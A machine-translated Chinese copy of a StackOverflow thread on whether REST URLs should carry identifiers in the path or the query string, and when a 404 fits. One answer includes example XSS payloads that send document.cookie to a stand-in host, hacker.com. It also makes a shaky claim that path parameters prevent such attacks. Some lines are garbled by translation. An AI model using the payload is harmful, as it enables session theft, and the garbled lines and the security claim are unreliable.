我今天与同事讨论过使用REST URL中的查询字符串。拿这两个例子:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
我的立场是应该按照示例1设计URL。这更清晰,我认为在REST中是正确的。在我看来,如果产品代码不存在则从示例1返回404错误是完全正确的,而示例2返回404将是错误的,因为页面应该存在。他的立场是不重要的,他们都做同样的事情。
由于我们都没有找到具体的证据(诚然,我的搜索并不广泛),我想知道其他人对此的看法。
答案 0 :(得分:83)
从客户端的角度来看,两个URI之间没有区别。 URI对客户端是不透明的。将更干净的地图更清晰地用于服务器端基础设施。
就REST而言,绝对没有区别。我相信为什么这么多人确实认为它只是识别资源的路径组件的原因是因为RFC 2396中的以下行
查询组件是一个字符串 要解释的信息 资源。
此行稍后在RFC 3986中更改为:
查询组件包含 非分层数据,以及 路径组件中的数据(部分 3.3),用于识别资源
恕我直言,这意味着在识别资源时,查询字符串和路径段在功能上都是等效的。
更新以解决史蒂夫的评论。
如果我反对形容词“清洁”,请原谅我。这太主观了。你确实有一点,我错过了问题的重要部分。
我认为是否返回404的答案取决于正在检索的资源是什么。它是搜索结果的表示,还是产品的表示?要知道这一点,你真的需要查看导致我们访问URL的链接关系。
如果URL应该返回Product表示,那么如果代码不存在则应返回404。如果URL返回搜索结果,则它不应返回404。
最终结果是URL看起来不是决定因素。话虽如此,通常会使用查询字符串来返回搜索结果,因此当您不想返回404时,使用该样式的URL会更直观。
答案 1 :(得分:46)
在典型的REST API中,示例#1更正确。资源表示为URI,#1表示更多。在找不到产品代码时返回404绝对是正确的行为。话虽如此,我会略微修改#1,使其更具表现力:
http://localhost/products/code/4xheaua
查看其他精心设计的REST API - 例如,查看StackOverflow。你有:
stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663
这些都是获得“问题”的不同方式。
答案 2 :(得分:9)
GET有两个用例
用例1示例:
/产品/ 4xxheua
获取唯一标识的产品,如果找不到则返回404.
用例2示例:
/制品尺寸大=&安培;颜色=红色
搜索产品,返回匹配产品列表(0到多个)。
如果我们查看Google Maps API,我们可以看到他们使用查询字符串进行搜索。
e.g。 http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
因此两种样式都适用于他们自己的用例。
答案 3 :(得分:4)
IMO路径组件应始终说明您要检索的内容。像http://localhost/findbyproductcode这样的网址只表示我想按产品代码检索某些内容,但究竟是什么?
因此,您可以检索http://localhost/contacts与http://localhost/users用户的联系人。查询字符串仅用于基于资源属性检索此类列表的子集。唯一的例外是当此子集基于主键缩减为一个记录时,则使用类似http:// localhost / contact / [primary_key]的内容。
这是我的方法,你的里程可能会有所不同:)
答案 4 :(得分:4)
我认为它的方式是,URI路径定义资源,而可选的查询字符串提供用户定义的信息。所以
https://domain.com/products/42
识别特定产品
https://domain.com/products?price=under+5
可能会搜索低于5美元的产品。
我不同意那些使用查询字符串来识别资源与REST一致的人。 REST的很大一部分是创建一个模仿静态分层文件系统的API(在后端不需要这样的系统) - 这就形成了直观的语义资源标识符。 Querystrings打破了这种层次结构。例如,手表是配件的配件。在REST风格中,很明显是什么
https://domain.com/accessories/watches
和
https://domain.com/watches/accessories
每个参考。使用查询字符串,
https://domain.com?product=watches&category=accessories
不是很清楚。
至少,REST样式比查询字符串更好,因为它需要大约一半的信息,因为参数的强排序允许我们抛弃参数名称。
答案 5 :(得分:3)
这两个URI的结尾并不是很重要。
然而,'findbyproductcode'部分肯定会更加安静。为什么不呢 http://localhost/product/4xxheau?
在我有限的经验中,如果你有一个唯一的标识符,那么构建URI就像看起来一样干净...... / product / {id} 但是,如果产品代码不是唯一的,那么我可能会更像#2。
然而,正如Darrel所观察到的,客户端不应该关心URI的样子。
答案 6 :(得分:2)
在许多实际意义上,查询字符串是不可避免的....考虑如果搜索允许多个(可选)字段指定所有内容会发生什么。在第一种形式中,他们在层次结构中的位置必须固定并填充......
想象一下用该格式编写通用SQL“where子句”....但是作为查询字符串,它非常简单。
答案 7 :(得分:2)
这个问题得到了解决,更清洁的方法是什么。但我想关注一个不同的方面,称为安全性。当我开始密切关注应用程序安全性时,我发现使用PathParams
(appraoch 1)而不是QueryParams
(方法2)可以成功防止反射的XSS攻击。
(当然,反映XSS攻击的先决条件是恶意用户输入会在html源中反映回客户端。不幸的是,某些应用程序会这样做,这就是为什么PathParams
可能会阻止XSS攻击)
这样做的原因是,由于有效负载本身的斜杠,XSS有效负载与PathParams
组合将导致未知的,未定义的URL路径。
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
使用QueryParam
成功进行此次攻击!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
答案 8 :(得分:1)
通过REST客户端,URI结构无关紧要,因为它遵循带语义注释的链接,并且永远不会解析URI。
由编写路由逻辑和链接生成逻辑的开发人员,并且可能希望通过检查URL来了解日志,URI结构确实很重要。通过REST,我们将URI映射到资源而不是映射到操作 - Fielding dissertation / uniform interface / identification of resources。
因此,两种URI结构都可能存在缺陷,因为它们包含当前格式的动词。
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
您可以通过以下方式从URI中删除find
:
1. /products/code:4xxheua
2. /products?code="4xxheua"
从REST角度来看,选择哪一个并不重要。
您可以定义自己的命名约定,例如:“通过使用唯一标识符将集合缩减为单个资源,唯一标识符必须始终是路径的一部分而不是查询”。这与URI标准所述的相同:路径是分层的,查询是非分层的。所以我会使用/products/code:4xxheua
。
答案 9 :(得分:1)
从哲学上讲,页面不“存在”。当您将书籍或文件放在书架上时,它们会留在那里。他们在那个架子上有一些独立的存在。但是,页面只有在托管的某台计算机上托管并且能够按需提供时才存在。当然,页面可以随时生成,因此在您请求之前不需要任何特殊存在。
现在从服务器的角度考虑一下。让我们假设它是,比如说,正确配置的Apache ---不是只是将所有请求映射到文件系统的单行python服务器。然后,URL中指定的特定路径可能与文件系统中特定文件的位置无关。因此,再一次,页面在任何明确意义上都不会“存在”。也许你请求http://some.url/products/intel.html
,然后你得到一个页面;然后你请求http://some.url/products/bigmac.html
,你什么也看不见。这并不意味着有一个文件而是另一个文件。您可能没有权限访问其他文件,因此服务器返回404,或者bigmac.html
从远程Mc'Donalds服务器提供服务,该服务器暂时关闭。
我想解释的是,404
只是一个数字。它没有什么特别之处:可能是40404
或-2349.23847
,我们刚刚同意使用404
。这意味着服务器在那里,它与您通信,它可能理解您想要的东西,它没有什么可以回馈给您。如果您认为当服务器出于某种原因决定不提供该文件时,404
返回http://some.url/products/bigmac.html
是合适的,那么您可能同意为404
返回http://some.url/products?id=bigmac
}。
现在,如果您希望对使用浏览器尝试手动编辑网址的用户有所帮助,您可以将其重定向到包含所有产品列表和一些搜索功能的网页,而不是仅仅为其提供{{ 1}} ---或者您可以将404
作为代码和所有产品的链接。但是,您可以使用404
执行相同操作:自动重定向到包含所有产品的页面。